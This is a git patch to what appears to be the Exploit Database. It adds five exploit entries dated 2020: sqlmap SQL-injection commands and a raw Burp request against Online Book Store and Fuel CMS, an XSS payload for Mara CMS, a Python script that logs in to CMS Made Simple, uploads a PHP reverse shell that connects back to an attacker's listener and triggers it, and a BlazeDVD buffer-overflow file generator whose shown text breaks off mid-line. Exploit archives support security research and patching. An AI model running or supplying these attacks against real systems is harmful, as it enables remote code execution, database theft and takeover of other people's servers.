From d6bcc3b093410ca70b194b4e9b00cdac88ad212b Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Tue, 1 Sep 2020 05:02:09 +0000 Subject: [PATCH] DB: 2020-09-01 5 changes to exploits/shellcodes BlazeDVD 7.0 Professional - '.plf' Local Buffer Overflow (SEH_ASLR_DEP) Online Book Store 1.0 - 'id' SQL Injection Mara CMS 7.5 - Reflective Cross-Site Scripting Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated) CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated) --- exploits/php/webapps/48775.txt | 12 ++++ exploits/php/webapps/48777.txt | 30 +++++++++ exploits/php/webapps/48778.txt | 69 +++++++++++++++++++ exploits/php/webapps/48779.py | 63 +++++++++++++++++ exploits/windows/local/48776.py | 116 ++++++++++++++++++++++++++++++++ files_exploits.csv | 5 ++ 6 files changed, 295 insertions(+) create mode 100644 exploits/php/webapps/48775.txt create mode 100644 exploits/php/webapps/48777.txt create mode 100644 exploits/php/webapps/48778.txt create mode 100755 exploits/php/webapps/48779.py create mode 100755 exploits/windows/local/48776.py diff --git a/exploits/php/webapps/48775.txt b/exploits/php/webapps/48775.txt new file mode 100644 index 000000000..928cb576f --- /dev/null +++ b/exploits/php/webapps/48775.txt @@ -0,0 +1,12 @@ +# Title: Online Book Store 1.0 - 'id' SQL Injection +# Exploit Author: Moaaz Taha (0xStorm) +# Date: 2020-08-21 +# Vendor Homepage: https://www.sourcecodester.com/php/14383/online-book-store.html +# Software Link: https://www.sourcecodester.com/download-code?nid=14383&title=Online+Book+Store +# Version: 1.0 +# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4 +# Description +This parameter "id" is vulnerable to Union-Based blind SQL injection in this path "/online%20book%20store/detail.php?id=44" that leads to retrieve all databases. + +#POC +sqlmap -u "http://TARGET/online%20book%20store/detail.php?id=44" -p id --dbms=mysql --threads=10 --technique=U --dbs \ No newline at end of file diff --git a/exploits/php/webapps/48777.txt b/exploits/php/webapps/48777.txt new file mode 100644 index 000000000..df3b8bece --- /dev/null +++ b/exploits/php/webapps/48777.txt @@ -0,0 +1,30 @@ +# Exploit Title: Mara CMS 7.5 - Reflective Cross-Site Scripting +# Google Dork: NA +# Date: 2020-08-01 +# Exploit Author: George Tsimpidas +# Vendor Homepage: https://sourceforge.net/projects/maracms/ +# Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download +# Version: 7.5 +# Tested on: Kali Linux(x64) +# CVE : CVE-2020-24223 + + +Mara CMS 7.5 suffers from a Reflected Cross Site Scripting vulnerability. + +Description : + + + This Reflected XSS vulnerability allows any authenticated user to +inject malicious code via the parameter contact.php?theme=. +The vulnerability exists because the parameter is not properly +sanitized and this can lead to malicious code injection that will be +executed on the target’s browser. + +PoC : + +Use Payload : seven69387';alert(1)//154 + +Path : http://localhost/contact.php?theme=< inject payload here> + +Injection Example : +http://localhost/contact.php?theme=seven69387';alert(1)//154 \ No newline at end of file diff --git a/exploits/php/webapps/48778.txt b/exploits/php/webapps/48778.txt new file mode 100644 index 000000000..67925e1e8 --- /dev/null +++ b/exploits/php/webapps/48778.txt @@ -0,0 +1,69 @@ +# Exploit Title: Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated) +# Date: 2020-08-19 +# Exploit Author: c0mpu7er(@ymbank.cn) +# Vendor Homepage: https://www.getfuelcms.com/ +# Software Link: https://github.com/daylightstudio/FUEL-CMS/archive/1.4.8.zip +# Version: 1.4.7 +# Tested on: PHP 5.4.45, Apache 2.4.23 ,mysql 5.0 + + +1. Description: +---------------------- + +FUEL CMS 1.4.8 allows SQL Injection via parameter 'fuel_replace_id' in pages/replace/1 +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + + +2. Proof of Concept: +---------------------- + +In Burpsuite intercept the request from one of the affected pages with 'fuel_replace_id' parameter and save it like 33.txt +Then run SQLmap to extract the data from the database: + +python sqlmap.py -r 33.txt --dbs + +3.Example payload: + +Content-Disposition: form-data; name="fuel_replace_id" + +11%27 + + + +4. Burpsuite request payload: +---------------------- + +POST /FUEL-CMS-1.4.8/fuel/pages/replace/1?inline=1 HTTP/1.1 +Host: 192.168.1.12 +Content-Length: 347 +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +Origin: http://192.168.1.12 +Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygI1zKZoBINTcL87g +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Referer: http://192.168.1.12/FUEL-CMS-1.4.8/fuel/pages/replace/1?lang=english +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 +Cookie: fuel_ac82b68172fd46789948eb8e66216180=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A0%3A%22%22%3B%7D; fuel_ui_ac82b68172fd46789948eb8e66216180=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%252C%2522fuel_pages_items%2522%253A%2522list%2522%252C%2522tabs_pages_create%2522%253A%25220%2522%252C%2522fuel_navigation_items%2522%253A%2522list%2522%252C%2522tabs_navigation_create%2522%253A%25220%2522%252C%2522tabs_pages_edit_1%2522%253A%25220%2522%257D; ci_session=db8df72tccrt8vnr2uaqnckv5ak4n135 +Connection: close + +------WebKitFormBoundarygI1zKZoBINTcL87g +Content-Disposition: form-data; name="fuel_replace_id" + +11* +------WebKitFormBoundarygI1zKZoBINTcL87g +Content-Disposition: form-data; name="Submit" + +Submit +------WebKitFormBoundarygI1zKZoBINTcL87g +Content-Disposition: form-data; name="fuel_inline" + +1 +------WebKitFormBoundarygI1zKZoBINTcL87g-- +5. Timeline: +---------------------- + +2020-08-20: SQLi vulnerability found in Fuel CMS 1.4.8 +2020-08-20: Reported vulnerability to vendor +2020-08-22: Vendor has patched the SQLi vulnerability in version 1.4.9 \ No newline at end of file diff --git a/exploits/php/webapps/48779.py b/exploits/php/webapps/48779.py new file mode 100755 index 000000000..8882c18cb --- /dev/null +++ b/exploits/php/webapps/48779.py @@ -0,0 +1,63 @@ +#!/usr/bin/python3 +#-*- coding: utf-8 -*- + +# Exploit Title: CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated) +# Google Dork: N/A +# Date: 2020-08-31 +# Exploit Author: Luis Noriega (@nogagmx) +# Vendor Homepage: https://www.cmsmadesimple.org/ +# Software Link: http://s3.amazonaws.com/cmsms/downloads/14793/cmsms-2.2.14-install.zip +# Version: 2.2.14 +# Tested on: Linux Ubuntu 18.04.4 LTS +# CVE : N/A + +# Usage: +# python3 exploit.py --url http://URL/cmsms/admin/login.php -u admin -p password -lhost LHOST -lport LPORT + +from urllib.parse import urlparse +import requests +import argparse +import string +import random +import json +import sys + +def parse_url(URL): + t = urlparse(URL) + return t.scheme+'://'+t.netloc+t.path.split('login.php')[0] + 'moduleinterface.php' + + +parser = argparse.ArgumentParser(description='CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload - PHP Reverse Shell') +parser.add_argument('--url', dest='URL', help='URL to admin pane ', required=True) +parser.add_argument('-u', dest='USERNAME', help='Username', required=True) +parser.add_argument('-p', dest='PASSWORD', help='Password', required=True) +parser.add_argument('-lhost', dest='IP', help='The listen address', required=True) +parser.add_argument('-lport', dest='PORT', help='The listen port', required=True) + +args = parser.parse_args() +login_data = {'username':"", "password":"", "loginsubmit": "Submit"} +PAYLOAD = ' array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Cannot spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>'% (args.IP,args.PORT) +FILENAME = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(5)) + '.phar' +file = {'m1_files[]': (FILENAME, PAYLOAD)} +upload_data = {"mact":"FileManager,m1_,upload,0", "__c":"", "disable_buffer":"1"} +URL_UPLOAD = parse_url(args.URL) + +print("[ + ] Connection to the CMS Made Simple Admin Portal located at "+ args.URL) +print("[ + ] Using "+ args.USERNAME +":"+ args.PASSWORD); login_data['username'] = args.USERNAME; login_data['password'] = args.PASSWORD + +try: + session = requests.session() + req = session.post(args.URL, data=login_data) + upload_data["__c"] = session.cookies["__c"] + print ("[ + ] %s logged successfully!"%(args.USERNAME)) + response = requests.post(URL_UPLOAD, files=file, cookies=session.cookies,data=upload_data) + data = response.json() + print ("[ + ] %s file uploaded."%(FILENAME)) + URL_TRIGGER = data[0]['url'] + input("[ ! ] Set up your nc listener , then press any to exploit.."%(args.PORT)) + print ("[ + ] Pwned!!") + response = requests.get(URL_TRIGGER, cookies=session.cookies) + print ("[ + ] Bye") +except: + print ("[ x ] Something went wrong, try again.") + sys.exit(1) \ No newline at end of file diff --git a/exploits/windows/local/48776.py b/exploits/windows/local/48776.py new file mode 100755 index 000000000..1fefe532e --- /dev/null +++ b/exploits/windows/local/48776.py @@ -0,0 +1,116 @@ +## Title: BlazeDVD 7.0 Professional - '.plf' Local Buffer Overflow (SEH,ASLR,DEP) +## Author: emalp +## Date: 2020-08-31 +## Vendor Homepage: http://www.blazevideo.com/ +## Software Link: http://www.blazevideo.com/download/BlazeDVDProSetup.exe +## Version: 7.0.0.0 +## Tested on: Windows 7 Home Basic + +# Run this file +# bfile.plf will be generated +# In blazeDVD open playlist and select bfile.plf +# a pop up box will appear with text 'emalp' + +## Change shellcode according to your needs +## Shellcode max size is aroung 700 bytes. + +# bad chars: +# \x00, \x0a, \x0b, \x1a + +import struct + +bfile = open('bfile.plf','w') + +buf = 'A'*84 +buf += struct.pack('